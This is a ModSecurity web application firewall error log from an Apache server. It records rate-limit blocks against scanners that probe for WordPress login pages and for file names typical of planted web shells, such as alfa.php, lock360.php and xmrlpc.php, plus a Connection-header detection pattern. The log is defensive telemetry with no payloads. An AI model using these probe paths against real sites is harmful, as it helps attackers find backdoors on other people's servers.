[Thu Dec 18 19:44:39.779956 2025] [:error] [pid 23556:tid 23573] [client 4.196.109.118:5953] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsvvs.php"] [unique_id "aUPpJxnmLlk3u5yt9kHXeQAAAA0"]
[Thu Dec 18 19:44:40.528479 2025] [:error] [pid 12035:tid 12051] [client 4.196.109.118:5857] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsvvs.php"] [unique_id "aUPpKLcVHrNSHjCo-0qI7wAAAgk"]
[Thu Dec 18 19:44:41.428716 2025] [:error] [pid 12035:tid 12044] [client 4.196.109.118:5912] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsvvs.php"] [unique_id "aUPpKbcVHrNSHjCo-0qI8AAAAgI"]
[Thu Dec 18 19:44:42.094397 2025] [:error] [pid 23556:tid 23576] [client 4.196.109.118:5978] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w.php"] [unique_id "aUPpKhnmLlk3u5yt9kHXewAAABA"]
[Thu Dec 18 19:44:43.242303 2025] [:error] [pid 23558:tid 23615] [client 4.196.109.118:5909] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w.php"] [unique_id "aUPpK-Ham9NbgPQa9uYKdwAAAMA"]
[Thu Dec 18 19:44:43.886898 2025] [:error] [pid 24958:tid 24973] [client 4.196.109.118:5994] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w.php"] [unique_id "aUPpK8kDOrUkd0wNm2G9RwAAAYw"]
[Thu Dec 18 19:44:45.376454 2025] [:error] [pid 23645:tid 23652] [client 4.196.109.118:5973] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w.php"] [unique_id "aUPpLTf_Rx0Y0ao_QJhLaAAAAIU"]
[Thu Dec 18 19:44:46.764028 2025] [:error] [pid 23556:tid 23570] [client 4.196.109.118:5952] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUPpLhnmLlk3u5yt9kHXgQAAAAo"]
[Thu Dec 18 19:44:47.187394 2025] [:error] [pid 12383:tid 12406] [client 4.196.109.118:5950] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUPpL_dgllo9h1cyxGa2WQAAAtQ"]
[Thu Dec 18 19:44:48.569828 2025] [:error] [pid 24433:tid 24444] [client 4.196.109.118:5888] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUPpMJ4pN9ycmipm8TjI6gAAAQg"]
[Thu Dec 18 19:44:49.913009 2025] [:error] [pid 24958:tid 24967] [client 4.196.109.118:5980] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUPpMckDOrUkd0wNm2G9SQAAAYY"]
[Thu Dec 18 19:44:50.855100 2025] [:error] [pid 23558:tid 23627] [client 4.196.109.118:5902] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/error.php"] [unique_id "aUPpMuHam9NbgPQa9uYKfwAAAMw"]
[Thu Dec 18 21:09:37.829469 2025] [:error] [pid 12383:tid 12410] [client 43.135.138.128:44266] [client 43.135.138.128] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aUP9Efdgllo9h1cyxGbEqQAAAtg"]
[Thu Dec 18 21:26:11.704946 2025] [:error] [pid 24958:tid 24973] [client 62.210.64.72:45124] [client 62.210.64.72] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.210.64.72, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUQA88kDOrUkd0wNm2HPiAAAAYw"]
[Thu Dec 18 21:38:51.637697 2025] [:error] [pid 25357:tid 25361] [client 4.196.84.157:17066] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/admin-post.php"] [unique_id "aUQD64aT7bsEXnJVfJdw0gAAAcI"]
[Thu Dec 18 21:38:51.941743 2025] [:error] [pid 12035:tid 12050] [client 4.196.84.157:22286] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/admin-post.php"] [unique_id "aUQD67cVHrNSHjCo-0qdUwAAAgg"]
[Thu Dec 18 21:38:52.356140 2025] [:error] [pid 12035:tid 12044] [client 4.196.84.157:24819] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/admin-post.php"] [unique_id "aUQD7LcVHrNSHjCo-0qdVAAAAgI"]
[Thu Dec 18 21:38:53.026311 2025] [:error] [pid 12035:tid 12043] [client 4.196.84.157:14515] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/admin-post.php"] [unique_id "aUQD7bcVHrNSHjCo-0qdVQAAAgE"]
[Thu Dec 18 21:38:53.663389 2025] [:error] [pid 12035:tid 12054] [client 4.196.84.157:24798] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/themes/admin.php"] [unique_id "aUQD7bcVHrNSHjCo-0qdVgAAAgs"]
[Thu Dec 18 21:38:54.190513 2025] [:error] [pid 12035:tid 12063] [client 4.196.84.157:14694] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/themes/admin.php"] [unique_id "aUQD7rcVHrNSHjCo-0qdWAAAAhQ"]
[Thu Dec 18 21:38:54.776223 2025] [:error] [pid 12239:tid 12257] [client 4.196.84.157:23398] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/themes/admin.php"] [unique_id "aUQD7tNnXxfGIuWO6akf1wAAAo0"]
[Thu Dec 18 21:38:55.994793 2025] [:error] [pid 23558:tid 23624] [client 4.196.84.157:24165] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/themes/admin.php"] [unique_id "aUQD7-Ham9NbgPQa9uYr_QAAAMk"]
[Thu Dec 18 21:38:56.347172 2025] [:error] [pid 23558:tid 23632] [client 4.196.84.157:18684] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gmo.php"] [unique_id "aUQD8OHam9NbgPQa9uYr_gAAANE"]
[Thu Dec 18 21:38:56.667315 2025] [:error] [pid 23645:tid 23648] [client 4.196.84.157:13428] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gmo.php"] [unique_id "aUQD8Df_Rx0Y0ao_QJhjngAAAIE"]
[Thu Dec 18 21:38:57.697829 2025] [:error] [pid 12035:tid 12051] [client 4.196.84.157:1825] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gmo.php"] [unique_id "aUQD8bcVHrNSHjCo-0qdXAAAAgk"]
[Thu Dec 18 21:38:58.145390 2025] [:error] [pid 23645:tid 23671] [client 4.196.84.157:1874] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gmo.php"] [unique_id "aUQD8jf_Rx0Y0ao_QJhjnwAAAJg"]
[Thu Dec 18 21:38:58.563712 2025] [:error] [pid 23556:tid 23563] [client 4.196.84.157:1819] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/includes/xmrlpc.php"] [unique_id "aUQD8hnmLlk3u5yt9kHumAAAAAM"]
[Thu Dec 18 21:38:59.073944 2025] [:error] [pid 23645:tid 23651] [client 4.196.84.157:18685] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/includes/xmrlpc.php"] [unique_id "aUQD8zf_Rx0Y0ao_QJhjogAAAIQ"]
[Thu Dec 18 21:38:59.860249 2025] [:error] [pid 23556:tid 23581] [client 4.196.84.157:14958] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/includes/xmrlpc.php"] [unique_id "aUQD8xnmLlk3u5yt9kHumgAAABU"]
[Thu Dec 18 21:39:00.382435 2025] [:error] [pid 12239:tid 12252] [client 4.196.84.157:1846] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/includes/xmrlpc.php"] [unique_id "aUQD9NNnXxfGIuWO6akf4gAAAog"]
[Thu Dec 18 21:39:00.989349 2025] [:error] [pid 23558:tid 23619] [client 4.196.84.157:1303] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/alfa.php"] [unique_id "aUQD9OHam9NbgPQa9uYsBQAAAMQ"]
[Thu Dec 18 21:39:01.400641 2025] [:error] [pid 25357:tid 25368] [client 4.196.84.157:1312] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/alfa.php"] [unique_id "aUQD9YaT7bsEXnJVfJdw1AAAAck"]
[Thu Dec 18 21:39:01.876473 2025] [:error] [pid 12239:tid 12261] [client 4.196.84.157:27403] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/alfa.php"] [unique_id "aUQD9dNnXxfGIuWO6akf6AAAApE"]
[Thu Dec 18 21:39:02.311252 2025] [:error] [pid 24542:tid 24566] [client 4.196.84.157:21421] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/alfa.php"] [unique_id "aUQD9ktQz4H2oS3NrDYmYQAAAVY"]
[Thu Dec 18 21:39:02.733145 2025] [:error] [pid 12239:tid 12263] [client 4.196.84.157:1861] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cong.php"] [unique_id "aUQD9tNnXxfGIuWO6akf6wAAApM"]
[Thu Dec 18 21:39:02.945176 2025] [:error] [pid 24433:tid 24441] [client 4.196.84.157:21386] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cong.php"] [unique_id "aUQD9p4pN9ycmipm8TjfpQAAAQU"]
[Thu Dec 18 21:39:03.162120 2025] [:error] [pid 12383:tid 12388] [client 4.196.84.157:18637] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cong.php"] [unique_id "aUQD9_dgllo9h1cyxGbL2AAAAsI"]
[Thu Dec 18 21:39:04.327798 2025] [:error] [pid 12239:tid 12262] [client 4.196.84.157:1330] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cong.php"] [unique_id "aUQD-NNnXxfGIuWO6akf8AAAApI"]
[Thu Dec 18 21:39:04.891396 2025] [:error] [pid 12383:tid 12391] [client 4.196.84.157:20458] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/123.php"] [unique_id "aUQD-Pdgllo9h1cyxGbL2gAAAsU"]
[Thu Dec 18 21:39:05.456584 2025] [:error] [pid 12383:tid 12409] [client 4.196.84.157:14913] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/123.php"] [unique_id "aUQD-fdgllo9h1cyxGbL3AAAAtc"]
[Thu Dec 18 21:39:06.184058 2025] [:error] [pid 12239:tid 12257] [client 4.196.84.157:14938] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/123.php"] [unique_id "aUQD-tNnXxfGIuWO6akf8gAAAo0"]
[Thu Dec 18 21:39:06.901829 2025] [:error] [pid 24433:tid 24437] [client 4.196.84.157:18773] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/123.php"] [unique_id "aUQD-p4pN9ycmipm8TjfqQAAAQE"]
[Thu Dec 18 21:39:07.965637 2025] [:error] [pid 12383:tid 12401] [client 4.196.84.157:18756] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/num.php"] [unique_id "aUQD-_dgllo9h1cyxGbL3wAAAs8"]
[Thu Dec 18 21:39:08.367423 2025] [:error] [pid 24542:tid 24555] [client 4.196.84.157:24145] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/num.php"] [unique_id "aUQD_EtQz4H2oS3NrDYmYwAAAUs"]
[Thu Dec 18 21:39:08.706796 2025] [:error] [pid 23556:tid 23578] [client 4.196.84.157:1829] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/num.php"] [unique_id "aUQD_BnmLlk3u5yt9kHupQAAABI"]
[Thu Dec 18 21:39:09.084758 2025] [:error] [pid 12239:tid 12255] [client 4.196.84.157:1289] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/num.php"] [unique_id "aUQD_dNnXxfGIuWO6akf9gAAAos"]
[Thu Dec 18 21:39:09.559325 2025] [:error] [pid 24958:tid 24983] [client 4.196.84.157:24161] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lock360.php"] [unique_id "aUQD_ckDOrUkd0wNm2HSxAAAAZY"]
[Thu Dec 18 21:39:09.875431 2025] [:error] [pid 23556:tid 23563] [client 4.196.84.157:18638] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lock360.php"] [unique_id "aUQD_RnmLlk3u5yt9kHuqAAAAAM"]
[Thu Dec 18 21:39:10.084762 2025] [:error] [pid 23556:tid 23579] [client 4.196.84.157:21431] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lock360.php"] [unique_id "aUQD_hnmLlk3u5yt9kHuqQAAABM"]
[Thu Dec 18 21:39:10.428526 2025] [:error] [pid 24542:tid 24550] [client 4.196.84.157:22981] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lock360.php"] [unique_id "aUQD_ktQz4H2oS3NrDYmZgAAAUY"]
[Thu Dec 18 21:39:10.934099 2025] [:error] [pid 24542:tid 24544] [client 4.196.84.157:1340] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/css/colour.php"] [unique_id "aUQD_ktQz4H2oS3NrDYmagAAAUA"]
[Thu Dec 18 21:39:11.110654 2025] [:error] [pid 25357:tid 25380] [client 4.196.84.157:18815] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/css/colour.php"] [unique_id "aUQD_4aT7bsEXnJVfJdw3wAAAdU"]
[Thu Dec 18 21:39:11.316806 2025] [:error] [pid 12035:tid 12055] [client 4.196.84.157:31847] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/css/colour.php"] [unique_id "aUQD_7cVHrNSHjCo-0qdXQAAAgw"]
[Thu Dec 18 21:39:11.447118 2025] [:error] [pid 25357:tid 25361] [client 4.196.84.157:24139] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/css/colour.php"] [unique_id "aUQD_4aT7bsEXnJVfJdw4QAAAcI"]
[Thu Dec 18 21:39:11.619588 2025] [:error] [pid 25357:tid 25371] [client 4.196.84.157:24153] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/NewFile.php"] [unique_id "aUQD_4aT7bsEXnJVfJdw4gAAAcw"]
